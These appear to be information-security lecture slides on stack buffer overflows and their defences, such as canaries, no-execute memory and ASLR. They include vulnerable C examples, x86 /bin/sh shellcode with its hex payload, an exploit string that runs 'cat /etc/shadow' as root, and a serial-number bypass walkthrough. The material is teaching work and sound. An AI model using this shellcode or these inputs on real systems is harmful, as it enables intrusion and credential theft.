

Buffer Overflow



CS 458: Information Security
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Administrivia

- Homework 9 solution and Homework 10 released
- Lab 3 due on Nov 8

Reading Material

- Based on Chapter 10 of the text


Some materials borrowed from Mark Stamp at San Jose State University

Outline

- Buffer Overflow
- Stack Buffer Overflow
- Shell Code
- Defenses

Buffer Overflow

- *"A condition at interface under which **more input** can be placed into a buffer or data holding area **than the capacity allocated, overwriting** other information."*
- Used for exploitation
 - Crash
 - Get control



Possible Attack Scenario



- Users enter data into a Web form
- Web form is sent to server
- Server writes data to array called buffer, without checking length of input data
- Data “overflows” buffer
 - Such overflow might enable an attack
 - If so, attack could be carried out by anyone with Internet access


Buffer Overflow

```
int main(){  
    int buffer[10];  
    buffer[20] = 37;}
```

- **Q:** What happens when code is executed?
- **A:** Depending on what resides in memory at location "buffer[20]"
 - Might overwrite **user** data or code
 - Might overwrite **system** data or code
 - Or program could work just fine

Simple Buffer Overflow


- Consider boolean flag for authentication
- Buffer overflow could overwrite flag allowing anyone to authenticate




- In some cases, Eve needs not be so lucky as in this example

Memory Organization

- **Text** == code
- **Data** == static variables
- **Heap** == dynamic data
- **Stack** == "scratch paper"
 - Dynamic local variables
 - Parameters to functions
 - Return address




Simplified Stack Example




Smashing the Stack

- ❑ What happens if buffer overflows?
- ❑ Program “returns” to wrong location
- ❑ A crash is likely




Smashing the Stack

- ❑ Eve has a better idea...
- ❑ **Code injection**
- ❑ Eve can run code of his/her choice...
 - ...on your machine



Smashing the Stack

- ❑ Eve may not know...
 - 1) Address of evil code
 - 2) Location of **ret** on stack
- ❑ Solutions
 - 1) Precede evil code with NOP “landing pad”
 - 2) Insert **ret** many times



Stack Smashing/ Stack Buffer Overflow

- A buffer overflow must exist in the code
- Not all buffer overflows are exploitable
 - Things must align properly
- If exploitable, attacker can **inject code**
- Trial and error is likely required
 - Fear not, lots of help is available online
 - [Smashing the Stack for Fun and Profit](#), Aleph One
- Stack smashing is “attack of the decade”
 - Regardless of the current decade
 - Also heap overflow, integer overflow, ...

Another Example

1. <code>#include <stdio.h></code>	
2. <code>#include <string.h></code>	<code>\$./a.out</code>
	<code>ASECRET</code>
	<code>VALID=1</code>
3. <code>int main(int argc, char *argv[]) {</code>	
4. <code> int valid = 0;</code>	
5. <code> char str1[8] = "ASECRET";</code>	<code>\$./a.out</code>
6. <code> char str2[8];</code>	<code>HELLO</code>
	<code>VALID=0</code>
7. <code> gets(str2);</code>	<code>\$./a.out</code>
	<code>OVERFLOWOVERFLOW</code>
8. <code> if (strcmp(str1, str2, 8)==0)</code>	<code>VALID=1</code>
9. <code> valid = 1;</code>	
10. <code> printf("VALID=%d", valid);</code>	
11. <code> return 0;</code>	
12. <code>}</code>	

Why?

Another Example

	argv
	argc
	return address
	old base pointer
0x0000000	valid
RET	str1[4-7]
ASEC	str1[0-3]
...	str2[4-7]
...	str2[0-3]

Before gets(str2)

	argv
	argc
	return address
	old base pointer
0x1000000	valid
FLOW	str1[4-7]
OVER	str1[0-3]
FLOW	str2[4-7]
OVER	str2[0-3]

After gets(str2)

str2="OVERFLOWOVERFLOW"

One More Example

```
1. #include <stdio.h>
2. #include <string.h>



3. void prompt(char * tag) {
4.     char inp[16];
5.     printf("Enter value for %s: ", tag);
6.     gets(inp);
7.     printf("Hello your %s is %s\n", tag, inp);
8. }
9. int main(int argc, char *argv[]) {
10.    prompt("name");
11. }
```

Overwrite saved return address (RA)
E.g., overwrite saved RA with same RA of
function to re-execute it

One More Example

- Run debugger, prompt() at `0x08048394`
- *inp* located 24 bytes under current frame ptr
 - Pad the string by this amount (e.g., 24 A's)
- Choose a nearby stack location (`0xbfffffe8`) to overwrite current frame register
- Overwrite return address with `0x08048394`
- Combine this data together into binary string
`perl -e 'print pack("H*", hex string);'`

One More Example



```
$ perl -e 'print pack("H*", hex string);' | ./a.out
Enter value for name:
Hello your Re?pyy]uEA is AAAAAAAAAAAAAAAAAAAAAAAAAAAuyu
Enter value for Kyyu:
Hello your Kyyu is NNNN
Segmentation fault
```


prompt(..) is called twice!

Stack Buffer Overflow

- What if we want to do something more interesting than calling `prompt(..)` twice?
- Can set the return address to point to custom code held within the stack frame (***shellcode***).

Shellcode

- Want to transfer execution of program to code stored in the buffer we overflow.
- Why “shell” code? Launch a shell.
 - Run any program
 - With privilege of exploited program



Shellcode

```
int main(int argc, char * argv[])
{
    char *sh;
    char *args[2];
    sh="/bin/sh";
    args[0] = sh;
    args[1] = NULL;
    execve(sh, args, NULL);
}
```

Launches Bourne shell (`sh`) on Intel Linux system

To x86 assembly

nop sled

```
cont:  nop
      nop
      jmp find
      pop %esi
      xor %eax, %eax
      mov %al, 0x7*%esi
      lea (%esi), %ebx
      mov %esi, 0x8(%esi)
      mov %eax, 0xc(%esi)
      mov $0xb, %al
      mov %esi, %ebx
      lea 0x8(%esi), %ecx
      lea 0xc(%esi), %edx
      int $0x80

find:  call cont
sh:    .string "/bin/sh "
args:  .long 0
      .long 0
```

Payload

To hex value for compiled x86 code

```
90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 89
46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 e8 e1
ff ff ff 2f 62 69 6e 2f 73 68 20 20 20 20 20 20
```


Shellcode

- Target program with elevated privileges and vulnerable buffer
 - E.g., start with similar program to previous *inp* example and say it is owned by root.
- Let's say we want to be able to read `/etc/shadow`, which needs super-user privilege, but we only have a non-root account.

Shellcode

- Needs to be position-independent
 - All addressing relative to self
 - Attack code doesn't know exactly where the stack is in memory to know what jump address to place in the overflow
 - Leads to **NOP sleds**
 - Example: referencing `"/bin/sh"` ... code needs to get address
 - Trick with `"call cont"` which leaves a physical address on stack

Shellcode



Shellcode

- Before, our user cannot access `/etc/shadow`
- This exploit code will open `/bin/sh` and display the contents of `/etc/shadow` by sending the shell the `cat` command using root privilege

Shellcode

```
"90909090909090909090909090909090" .  
"90909090909090909090909090909090" .  
"9090ebla5e31c08846078dle895e0889" .  
"460cb00b89f38d4e088d560ccd80e8e1" .  
"ffffff2f62696e2f7368202020202020" .  
"2020202020202038fcffbfc0fbfbfb0a");  
print "whoami\n";  
print "cat /etc/shadow\n";  
  
$ attack1 | buffer4  
Enter value for name: Hello your  
root  
root:$1$rNLId4rX$nka7JlxH7.4UJT4l9JRLk1:13346:0:99999:7:::  
daemon:*:11453:0:99999:7:::  
...  
nobody:*:11453:0:99999:7:::  
knoppix:$1$FvZSBKbu$EdSFvuuJdKaCH7:::  
...
```

As normal user

As superuser

Figure 11.9 Example Stack Overflow Attack


Shellcode Notes

- Shellcode usually comes from sites like [Metasploit project](#)
- Cannot use bytes with NULL value.
 - Can use the following command to obtain 0 value

```
xor %eax, %eax
```
- Shellcode is mostly used to allow shell commands to execute other commands and send back data to attacker.

Another Stack Smashing Example

- Program asks for a serial number that the attacker does not know
- Attacker does **not** have source code
- Attacker does have the executable (exe)




```
Command Prompt
C:\Documents and Settings\Administrator\Desktop\programs\sre\Release>bo
Enter Serial Number
woeiweiow
C:\Documents and Settings\Administrator\Desktop\programs\sre\Release>_
```

- ❑ Program quits on incorrect serial number

Buffer Overflow Present?

- By trial and error, attacker discovers apparent buffer overflow



- ❑ Note that 0x41 is ASCII for “A”
- ❑ Looks like **ret** overwritten by 2 bytes!

Disassemble Code

- Next, disassemble bo.exe to find


```
.text:00401000
.text:00401000
.text:00401003
.text:00401008
.text:0040100D
.text:00401011
.text:00401012
.text:00401017
.text:0040101C
.text:0040101E
.text:00401022
.text:00401027
.text:00401028
.text:0040102D
.text:00401030
.text:00401032
.text:00401034
.text:00401039
.text:0040103E

sub     esp, 1Ch
push    offset aEnterSerialNum ; "\nEnter Serial Number\n"
call    sub_40109F
lea     eax, [esp+20h+var_1C]
push    eax
push    offset aS              ; "%S"
call    sub_401088
push    8
lea     ecx, [esp+2Ch+var_1C]
push    offset aS123n456 ; "S123N456"
push    ecx
call    sub_401050
add     esp, 18h
test    eax, eax
jnz     short loc_401041
push    offset aSerialNumberIs ; "Serial number is correct.\n"
call    sub_40109F
add     esp, 4
```

- The goal is to exploit buffer overflow to jump to address 0x401034

Buffer Overflow Attack


- Find that, in ASCII, 0x401034 is "@^P4"



- ❑ Byte order is reversed? Why?
- ❑ X86 processors are “little-endian”

Buffer Overflow Attack

- Reverse the byte order to "4^P@" and...



```
Command Prompt
C:\Documents and Settings\Administrator\Desktop\programs\sre\Release>bo
Enter Serial Number
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4^P@
Serial number is correct.
C:\Documents and Settings\Administrator\Desktop\programs\sre\Release>_
```

- ❑ Success! We've bypassed serial number check by exploiting a buffer overflow
- ❑ What just happened?
 - Overwrote return address on the stack

Buffer Overflow

- Attacker did **not** require access to the source code
- Only tool used was a disassembler to determine address to jump to
- Find desired address by trial and error?
 - Necessary if attacker does not have exe
 - For example, a remote attack

Source Code

- Source code for buffer overflow example

- ❑ Flaw easily found by attacker...
- ❑ ...without access to source code!

```
#include <stdio.h>
#include <string.h>

main()
{
    char in[75];

    printf("\nEnter Serial Number\n");
    scanf("%s", in);

    if(!strcmp(in, "S123N456", 8))
    {
        printf("Serial number is correct.\n");
    }
}
```

How about defense?



- Compile-Time
 - Programming Language Choice
 - Extensions / Safe Libraries
 - Stack Protection (often done by default today)
- Run-Time
 - Executable Address Space Protection
 - Address Space Randomization

Compile-Time

- Programming Language Choice
 - High-level (e.g. Java)
 - Strongly typed variables
 - Operations permitted
 - Not as vulnerable
 - Range checking
 - Downside, resource use

Compile-Time

Extensions / Safe Libraries

- Replace standard library routines (e.g., C strings) with safer versions
 - Rewrite source with new calls, like `strncpy(...)`
 - Replace whole library (like libsafe), provides protection without recompilation
 - Puts additional checks to stop some buffer overflow attacks

Compile-Time

Stack Protection

- Check stack frame corruption
- StackGuard
 - Canary value
 - Included in newer gcc
- Return Address Defender
 - Copy return address (RA)
 - Safe location

Run-Time


Executable Address Space Protection

- Block execution of code on stack
- *No-execute* bit
 - E.g., X86, tag memory pages with no-execute bit in MMU
- Assume executable code held elsewhere
- Standard in newer O.S.'s (Vista+, Linux) and 64-bit processors

Stack Smashing Defenses

- **Canary**

- Run-time stack check
- Push canary onto stack
- Canary value:
 - Constant `0x000aff0d`
 - Or may depends on `ret`



Microsoft's Canary

- Microsoft added **buffer security check** feature to C++ with /GS compiler flag
 - Based on canary (or “security cookie”)

Q: What to do when canary dies?

A: Check for user-supplied “handler”

- Handler shown to be subject to attack
 - Claim that attacker can specify handler code
 - If so, formerly “safe” buffer overflows become exploitable when /GS is used!

Run-Time

Address Space Randomization

- Stack buffer overflow: need to predict address of buffer in memory (decide what is proper RA value)
- Change address stack location random per process
- Address range is large (32 bit), provides much variation. Larger than most vulnerable buffers.
- Therefore NOP-sled will not work (cannot get it large enough to handle large range.)

ASLR

- Address Space Layout Randomization
 - Randomize place where code loaded in memory
- Makes most buffer overflow attacks probabilistic
- Windows Vista uses 256 random layouts
 - So about 1/256 chance buffer overflow works?
- Similar thing in Mac OS X and other OSs
- [Attacks](#) against Microsoft's ASLR do exist
 - Possible to "de-randomize"

Summary

- Buffer overflow is a serious threat to systems.
- It is possible to disrupt system and perform unauthorized actions using stack buffer overflow attacks.
- Shellcode can be used to modify execution of a vulnerable program.
- There exist compile- and run-time protections against these attacks.